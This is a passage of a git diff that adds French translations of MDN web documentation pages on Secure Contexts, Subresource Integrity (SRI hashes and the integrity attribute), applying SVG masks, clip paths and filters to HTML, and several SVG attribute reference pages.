+<p><em>Note: Safari et Chrome ne supportent pas complètement la spécification des Secure Contexts, certaines APIs peuvent fonctionner avec des iframes utilisant du HTTPS dans une page utilisant du HTTP ou dans une page qui a un contexte ouvert avec une page non sécurisée (c'est le cas quand une page utilisant du HTTP utilise window.open ou target="_blank").</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Spécification</td>
+   <td>État</td>
+   <td>Commentaire</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Brouillon</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{domxref("Window.isSecureContext")}}</li>
+</ul>
diff --git a/files/fr/web/security/subresource_integrity/index.html b/files/fr/web/security/subresource_integrity/index.html
new file mode 100644
index 0000000000..65e78ef12f
--- /dev/null
+++ b/files/fr/web/security/subresource_integrity/index.html
@@ -0,0 +1,147 @@
+---
+title: Subresource Integrity
+slug: Web/Security/Subresource_Integrity
+tags:
+  - Intro
+  - Sécurité
+translation_of: Web/Security/Subresource_Integrity
+---
+<p><em><strong>Subresource Integrity</strong></em> (SRI, ou « Intégrité des sous-ressources ») est une fonction de sécurité qui permet aux navigateurs de vérifier que les fichiers qu'ils vont chercher (par exemple, à partir d'un <a href="/fr/docs/Glossaire/CDN">CDN</a>) sont livrés sans manipulation inattendue. Cela fonctionne en permettant de fournir un hachage cryptographique (« <em>hash</em> ») auquel le fichier récupéré doit correspondre.</p>
+
+<h2 id="Comment_fonctionne_le_contrôle_d'intégrité_des_sous-ressources">Comment fonctionne le contrôle d'intégrité des sous-ressources ?</h2>
+
+<p>Utiliser un <a href="/en-US/docs/Glossary/CDN">CDN</a> pour héberger des fichiers tels que les scripts et les feuilles de style qui sont partagés entre plusieurs sites permet d'améliorer les performances du site et d'économiser de la bande passante. Cependant, utiliser des CDN comporte un risque : si un attaquant prend le contrôle du CDN, il pourra injecter du contenu malveillant dans les fichiers (ou les remplacer complètement), et il pourra donc aussi potentiellement attaquer tous les sites qui récupèrent les fichiers sur ce CDN.</p>
+
+<p>Le contrôle d'intégrité des sous-ressources vous permet d'atténuer le risque de ce genre d'attaques, en veillant à ce que les fichiers de votre application ou document Web utilisent (à partir d'un CDN ou ailleurs) aient été livrés sans modification d'un tiers ayant injecté du contenu supplémentaire dans les fichiers - et sans autre changement de toute nature ayant été faits à ces fichiers.</p>
+
+<h2 id="Utiliser_le_SRI">Utiliser le SRI</h2>
+
+<p>Le contrôle d'intégrité des sous-ressources s'active en spécifiant un hachage cryptographique encodé en base64 d'une ressource (fichier) que vous transmettez au navigateur au moment où il va chercher cette ressource, comme valeur de l'attribut <code><strong>integrity</strong></code> de chaque élément {{HTMLElement("script")}} ou {{HTMLElement("link")}}.</p>
+
+<p>Une valeur de l'attribut <code><strong>integrity</strong></code> commence par au moins une chaîne, chaque chaîne comprenant un préfixe indiquant un algorithme particulier de hachage (actuellement les préfixes autorisés sont <code>sha256</code>, <code>sha384</code> et <code>sha512</code>), suivi d'un tiret, et se terminant par le hachage base64 proprement dit.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Une valeur de l'attribut <code><strong>integrity</strong></code> peut contenir plusieurs hachages séparés par des espaces. Une ressource sera chargée si elle correspond à l'un de ces hachages.</p>
+</div>
+
+<p>Voici un exemple de valeur pour l'attribut <code><strong>integrity</strong></code> avec un hash sha384 encodé en base64 :</p>
+
+<pre>sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Le « <em>hash</em> » est à proprement parler une <strong><em>fonction de hachage cryptographique</em></strong> formé en appliquant une fonction de hachage particulière à une certaine entrée (par exemple, un script ou un fichier de feuille de styles). Mais il est plus commun d'utiliser le mot <strong><em>hash</em></strong> pour indiquer <em>fonction de hachage cryptographique</em>, d'où son utilisation dans cet article.</p>
+</div>
+
+<h3 id="Outil_pour_générer_des_hachages_SRI">Outil pour générer des hachages SRI</h3>
+
+<p>Vous pouvez générer des <em>hashes</em> SRI en ligne de commande avec OpenSSL en utilisant une commande de ce genre :</p>
+
+<pre class="brush: bash">cat <strong>FILENAME.js</strong> | openssl dgst -sha384 -binary | openssl enc -base64 -A</pre>
+
+<p>Il existe également, <strong>SRI Hash Generator</strong> : <a href="https://srihash.org/">https://srihash.org/</a> qui est un utilitaire en ligne permettant de générer des <em>hashes</em> SRI. </p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans les exemples suivants, supposons que <code>oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC</code> est la valeur attendue du <em>hash</em> SHA-384 d'un script <code>exemple-framework.js</code>, et qu'il existe une copie de ce script hébergée sur <code>https://exemple.com/exemple-framework.js</code>.</p>
+
+<h3 id="Exemple_utiliser_l'élément_script_pour_le_contrôle_d'intégrité">Exemple : utiliser l'élément <code>script</code> pour le contrôle d'intégrité</h3>
+
+<p>Vous pouvez utiliser l'élément {{HTMLElement("script")}} suivant pour dire au navigateur qu'il doit comparer le <em>hash</em> fourni avec celui du fichier et que les deux correspondent avant d'exécuter le script hébergé à <code>https://example.com/exemple-framework.js</code>.</p>
+
+<pre class="brush: html">&lt;script src="https://exemple.com/exemple-framework.js"
+        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
+        crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus de détails sur l'objectif de l'attribut <code><strong>crossorigin</strong></code>, voir <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">les attributs CORS</a>.</p>
+</div>
+
+<h2 id="La_gestion_du_SRI_par_les_navigateurs">La gestion du SRI par les navigateurs</h2>
+
+<p>Les navigateurs gèrent SRI en effectuant les étapes suivantes :</p>
+
+<ol>
+ <li>Lorsqu'un navigateur rencontre un élément {{HTMLElement("script")}} ou {{HTMLElement("link")}} avec un attribut <code><strong>integrity</strong></code>, avant d'exécuter le script ou avant d'appliquer les styles spécifiés par l'élément {{HTMLElement("link")}}, la navigateur doit comparer le script ou la feuille de style à la valeur donnée dans l'attribut <code><strong>integrity</strong></code>.</li>
+ <li>Si le script ou la feuille de styles ne correspond pas à la valeur de l'attribut <code><strong>integrity</strong></code> qui lui est associée, alors le navigateur doit refuser d'exécuter le script ou d'appliquer la feuille de style et doit retourner une erreur indiquant que le chargement de la ressource a échoué.</li>
+</ol>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Subresource Integrity')}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>L'attribut <code>integrity</code> pour les éléments <code>&lt;script&gt;</code> et <code>&lt;link&gt;</code></td>
+   <td>{{CompatChrome("45.0")}}</td>
+   <td>{{CompatGeckoDesktop("43")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("32")}}</td>
+   <td>{{CompatNo}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>L'attribut <code>integrity</code> pour les éléments <code>&lt;script&gt;</code> et <code>&lt;link&gt;</code></td>
+   <td>{{CompatChrome("45.0")}}</td>
+   <td>{{CompatGeckoMobile("43")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{WebKitBug(148363)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://frederik-braun.com/using-subresource-integrity.html" id="page-title">Un CDN sans risque de XSS : utiliser le contrôle d'intégrité des sous-ressources (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html b/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html
new file mode 100644
index 0000000000..cb06ea5315
--- /dev/null
+++ b/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html
@@ -0,0 +1,227 @@
+---
+title: Application d'effets SVG à du contenu HTML
+slug: Web/SVG/Application_d_effets_SVG_a_du_contenu_HTML
+tags:
+  - CSS
+  - Guide
+  - HTML
+  - SVG
+translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
+---
+<p>Les navigateurs modernes supportent le format <a href="/fr-FR/docs/SVG">SVG</a> utilisant du <a href="/fr-FR/docs/Web/CSS" title="Cascading Style Sheets">CSS</a> pour appliquer des effets graphiques au contenu HTML.</p>
+
+<p>Vous pouvez éditer un SVG avec du CSS, soit directement dans le document, soit dans une feuille de style externe. Il y a 3 propriétés que vous pouvez utiliser : <a href="/fr-FR/docs/Web/CSS/mask"><code>mask</code></a>, <a href="/fr-FR/docs/Web/CSS/clip-path"><code>clip-path</code></a> et <a href="/fr-FR/docs/Web/CSS/filter"><code>filter</code></a>.</p>
+
+<div class="note"><strong>Note :</strong> Dans des fichiers externes, les références à un SVG doivent être à la <a href="/fr-FR/docs/Web/Security/Same-origin_policy">même origine</a> que le document de référence.</div>
+
+<h2 id="Utilisation_de_SVG_intégré">Utilisation de SVG intégré</h2>
+
+<p>Pour appliquer un effet CSS à un SVG, vous devez dans un premier temps créer la feuille CSS qui fait référence au SVG à éditer.</p>
+
+<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
+</pre>
+
+<p>Dans l'exemple ci-dessus, tous les paragraphes utilisent un <a href="/en-US/docs/Web/SVG/Element/mask">SVG <code>&lt;mask&gt;</code></a> avec l'<a href="/fr-FR/docs/Web/HTML/Global_attributes/id">ID</a> de <code>my-mask</code>.</p>
+
+<h3 id="Exemple_Application_d'un_masque">Exemple : Application d'un masque</h3>
+
+<p>Par exemple, vous pouvez appliquer un dégradé à du contenu HTML à l'intérieur de votre document en utilisant SVG et du code CSS similaire à celui-ci :</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;mask id="mask-1"&gt;
+    &lt;linearGradient id="gradient-1" y2="1"&gt;
+      &lt;stop stop-color="white" offset="0"/&gt;
+      &lt;stop stop-opacity="0" offset="1"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
+    &lt;rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/&gt;
+  &lt;/mask&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  mask: url(#mask-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
+<p>Notez que dans ce code CSS, le masque est spécifié à l'aide d'une URL à l'ID <code>#mask-1</code>, qui est l'ID du masque SVG spécifié précédemment. Tout le reste concerne le dégradé.</p>
+
+<p>L'application d'effet SVG à du (X)HTML est réalisé en affectant la classe cible définie ci-dessus à un élément, comme ceci :</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>L'exemple ci-dessus serait rendu avec le masque appliqué.</p>
+
+<p>{{EmbedLiveSample('Exemple_Application_d\'un_masque', 650, 200)}}</p>
+
+<h3 id="Exemple_Rogner">Exemple : Rogner</h3>
+
+<p>Cet exemple montre comment utiliser un SVG pour rogner du contenu HTML. Remarquez que même les zones cliquables (les liens) sont rognées.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+
+&lt;button onclick="toggleRadius()"&gt;Toggle radius&lt;/button&gt;
+
+&lt;svg height="0"&gt;
+  &lt;clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox"&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
+    &lt;rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
+  &lt;/clipPath&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  clip-path: url(#clipping-path-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
+<p>Ce code crée une zone cliquable en forme de cercle et de rectangle associé à l'ID<code> #clipping-path-1</code> qui est référencé dans le CSS. <code>clip-path</code> peut être associé à n'importe quel élément avec la classe <code>target</code>.</p>
+
+<p>Vous pouvez faire des changements en temps réel et vous rendre compte qu'ils affectent immédiatement le rendu HTML. Par exemple, vous pouvez redimensionner le cercle à l'aide du <code>clip-path</code> établi ci-dessus :</p>
+
+<pre class="brush: js">function toggleRadius() {
+  var circle = document.getElementById("circle");
+  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Exemple_Rogner', 650, 200)}}</p>
+
+<h3 id="Exemple_Filtres">Exemple : Filtres</h3>
+
+<p>Cet exemple montre comment utiliser des filtres avec un SVG. À l'aide du CSS, nous appliquons plusieurs filtres à trois éléments à la fois dans leur état normal, que quand ils sont survolés par la souris (<a href="/fr-FR/docs/Web/CSS/:hover">hover</a>).</p>
+
+<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;pre class="target"&gt;lorem&lt;/pre&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>N'importe quel filtre SVG peut être appliqué de cette façon. Par exemple, pour appliquer un effet de flou, vous pouvez utiliser :</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f1"&gt;
+    &lt;feGaussianBlur stdDeviation="3"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>Vous pouvez aussi appliquer une matrice de transformation des couleurs :</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f2"&gt;
+    &lt;feColorMatrix values="0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0      0      0      1 0"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Et encore d'autres filtres :</p>
+
+<pre class="brush: html"><span>&lt;svg height="0"&gt;
+</span>  &lt;filter id="f3"&gt;
+    &lt;feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
+      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f4"&gt;
+    &lt;feSpecularLighting surfaceScale="5" specularConstant="1"
+                        specularExponent="10" lighting-color="white"&gt;
+      &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+    &lt;/feSpecularLighting&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f5"&gt;
+    &lt;feColorMatrix values="1 0 0 0 0
+                           0 1 0 0 0
+                           0 0 1 0 0
+                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/&gt;
+  &lt;/filter&gt;
+<span>&lt;/svg&gt;</span></pre>
+
+<p>Les cinq filtres sont appliqués en utilisant le CSS suivant :</p>
+
+<pre class="brush: css">p.target { filter:url(#f3); }
+p.target:hover { filter:url(#f5); }
+b.target { filter:url(#f1); }
+b.target:hover { filter:url(#f4); }
+pre.target { filter:url(#f2); }
+pre.target:hover { filter:url(#f3); }
+</pre>
+
+<p>{{EmbedLiveSample('Exemple_Filtres', 650, 200)}}</p>
+
+<p style="display: none;"><a class="button liveSample" href="/files/3329/filterdemo.xhtml">View this example live</a></p>
+
+<h3 id="Exemple_Texte_flouté">Exemple : Texte flouté</h3>
+
+<p>Pour flouter le texte, Webkit a un filtre CSS (préfixé) appelé blur (voir aussi <a href="/fr-FR/docs/Web/CSS/filter#blur%28%29_2">CSS filter</a>). Vous pouvez obtenir le même effet en utilisant des filtres SVG.</p>
+
+<pre class="brush: html">&lt;p class="blur"&gt;Time to clean my glasses&lt;/p&gt;
+&lt;svg height="0"&gt;
+  &lt;defs&gt;
+    &lt;filter id="wherearemyglasses" x="0" y="0"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="1"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Vous pouvez appliquer le filtre SVG et le filtre CSS à la même classe :</p>
+
+<pre class="brush: css">.blur { filter: url(#wherearemyglasses); }</pre>
+
+<p>{{ EmbedLiveSample('Exemple_Texte_flouté', 300, 100) }}</p>
+
+<p>Le floutage est un calcul assez lourd alors utilisez le avec précaution et faites particulièrement attention aux éléments scrollables ou animés.</p>
+
+<h2 id="Utilisation_de_références_externes">Utilisation de références externes</h2>
+
+<p>Vous pouvez utiliser des fichiers externes pour rogner ou pour appliquer des masques et des filtres SVG, tant que cette source vient de la même origine que le document HTML auquel il est appliqué.</p>
+
+<p>Par exemple, si votre CSS est un fichier nommé <code>default.css</code>, il pourrait contenir le code ci-dessous :</p>
+
+<pre class="brush: css" id="line1">.target { clip-path: url(resources.svg#c1); }</pre>
+
+<p>Le SVG est alors importé depuis un fichier nommé <code>resources.svg</code>, utilisant <code>clip-path</code> avec l'ID <code>c1</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr-FR/docs/SVG" title="SVG">SVG</a></li>
+ <li><a class="external" href="http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html">SVG Effects for HTML Content</a> (blog post)</li>
+ <li><del><a class="external" href="/web-tech/2008/10/10/svg-external-document-references">SVG External Document References</a></del> (blog post) (<a href="http://web.archive.org/web/20120512132948/https://developer.mozilla.org/web-tech/2008/10/10/svg-external-document-references/" title="Web Tech Blog » Blog Archive » SVG External Document References">[archive.org] Web Tech Blog » Blog Archive » SVG External Document References</a>)</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/accent-height/index.html b/files/fr/web/svg/attribute/accent-height/index.html
new file mode 100644
index 0000000000..e19d3c01bd
--- /dev/null
+++ b/files/fr/web/svg/attribute/accent-height/index.html
@@ -0,0 +1,50 @@
+---
+title: accent-height
+slug: Web/SVG/Attribute/accent-height
+tags:
+  - Attribut
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsUpdate
+  - Reference
+  - SVG
+translation_of: Web/SVG/Attribute/accent-height
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>accent-height</code></strong> définit la distance entre l'origine et le haut des accents placés sur les caractères. Cette distance est mesurée dans le système de coordonnées de la police.</p>
+
+<p>Si cet attribut n'est pas défini, l'effet obtenu est identique à celui obtenu avec la valeur de l'attribut {{SVGAttr("ascent")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de valeur</th>
+   <td><a href="/fr/docs/Web/SVG/Content_type#Length" title="https://developer.mozilla.org/en/SVG/Content_type#Number">&lt;number&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Peut être animé</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a class="external" href="https://www.w3.org/TR/SVG/fonts.html#FontFaceElementAccentHeightAttribute">SVG 1.1 (seconde édition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{page("/fr/docs/Web/SVG/Content_type","Number")}}</p>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>On peut utiliser l'attribut <code>accent-height</code> sur les éléments suivants :</p>
+
+<ul>
+ <li>{{SVGElement("font-face")}}</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/clip-path/index.html b/files/fr/web/svg/attribute/clip-path/index.html
new file mode 100644
index 0000000000..11078c3e3f
--- /dev/null
+++ b/files/fr/web/svg/attribute/clip-path/index.html
@@ -0,0 +1,103 @@
+---
+title: clip-path
+slug: Web/SVG/Attribute/clip-path
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/clip-path
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>clip-path</code></strong> permet d'appliquer un détourage à un élément.</p>
+
+<p class="note"><strong>Note:</strong> <code>clip-path</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué sur tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('a')}}, {{SVGElement('circle')}}, {{SVGElement('clipPath')}}, {{SVGElement('ellipse')}}, {{SVGElement('g')}}, {{SVGElement('glyph')}}, {{SVGElement('image')}}, {{SVGElement('line')}}, {{SVGElement('marker')}}, {{SVGElement('mask')}}, {{SVGElement('path')}}, {{SVGElement('pattern')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('svg')}}, {{SVGElement('symbol')}}, {{SVGElement('text')}}, {{SVGElement('use')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;clipPath id="myClip" clipPathUnits="objectBoundingBox"&gt;
+    &lt;circle cx=".5" cy=".5" r=".5" /&gt;
+  &lt;/clipPath&gt;
+
+  &lt;!-- En haut à gauche: Applique un détourage précédemment crée --&gt;
+  &lt;rect x="1" y="1" width="8" height="8" stroke="green"
+        clip-path="url(#myClip)" /&gt;
+
+  &lt;!-- En haut à droite: Applique un détourage sur fill-box via une forme CSS.
+       Revient à créer un détourage avec clipPathUnits="objectBoundingBox" --&gt;
+  &lt;rect x="11" y="1" width="8" height="8" stroke="green"
+        clip-path="circle() fill-box" /&gt;
+
+  &lt;!-- En bas à gauche: Applique un détourage sur stroke-box via une forme CSS. --&gt;
+  &lt;rect x="1" y="11" width="8" height="8" stroke="green"
+        clip-path="circle() stroke-box" /&gt;
+
+  &lt;!-- En bas à droite: Applique un détourage sur view-box via une forme CSS.
+       Revient à créer un détourage avec clipPathUnits="userSpaceOnUse" --&gt;
+  &lt;rect x="11" y="11" width="8" height="8" stroke="green"
+        clip-path="circle() view-box" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>{{cssxref('url')}} | [ {{cssxref('basic-shape')}} || &lt;geometry-box&gt; ] | <code>none</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>none</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>&lt;geometry-box&gt;</dt>
+ <dd>une information supplémentaire pour dire comment une {{cssxref('basic-shape', 'forme CSS')}} est appliquée à un élément: <code>fill-box</code> indique d'utiliser la zone de sélection de l'objet ; <code>stroke-box</code> d'utiliser la zone de sélection de l'objet en prenant en plus le contour de l'élément; <code>view-box</code> d'utiliser le  document SVG parent.</dd>
+</dl>
+
+<p class="note"><strong>Note:</strong> Pour plus d'informations sur la syntaxe de clip-path, voir la propriété CSS {{cssxref('clip-path')}}.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.clip-path")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Étend son application aux éléments HTML. La propriété <code>clip-path</code> remplace la propriété {{cssxref("clip")}} dépréciée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale (s'applique sur les éléments SVG uniquement).</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/color/index.html b/files/fr/web/svg/attribute/color/index.html
new file mode 100644
index 0000000000..6d1fd5eb50
--- /dev/null
+++ b/files/fr/web/svg/attribute/color/index.html
@@ -0,0 +1,67 @@
+---
+title: color
+slug: Web/SVG/Attribute/color
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/color
+---
+<p>{{SVGRef}}</p>
+
+<p>L'attribut <code>color</code> est utilisé pour définir indirectement une valeur potentielle (<code>currentColor</code>) pour les attributs {{ SVGAttr("fill") }}, {{ SVGAttr("stroke") }}, {{ SvgAttr("stop-color") }}, {{ SVGAttr("flood-color") }} et {{ SVGAttr("lighting-color") }}.</p>
+
+<p class="note"><code>color</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS. Voir {{ cssxref("color","CSS color") }} pour plus d'informations.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Attribut de présentation</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><a href="/en/SVG/Content_type#Color" title="en/SVG/Content_type#Color">&lt;color&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/color.html#ColorProperty" title="http://www.w3.org/TR/SVG11/color.html#ColorProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;g color="green"&gt;
+    &lt;rect width="50" height="50" fill="currentColor" /&gt;
+    &lt;circle r="25" cx="70" cy="70" stroke="currentColor" fill="none" stroke-width="5" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple', '100%', '110') }}</p>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>color</code>:</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_de_contenu_textuel" title="en/SVG/Element#Text_content_elements">Éléments de contenu textuel</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_de_formes" title="en/SVG/Element#Shape_elements">Éléments de formes</a>  »</li>
+ <li>{{ SVGElement("stop") }}</li>
+ <li>{{ SVGElement("feFlood") }}</li>
+ <li>{{ SVGElement("feDiffuseLighting") }}</li>
+ <li>{{ SVGElement("feSpecularLighting") }}</li>
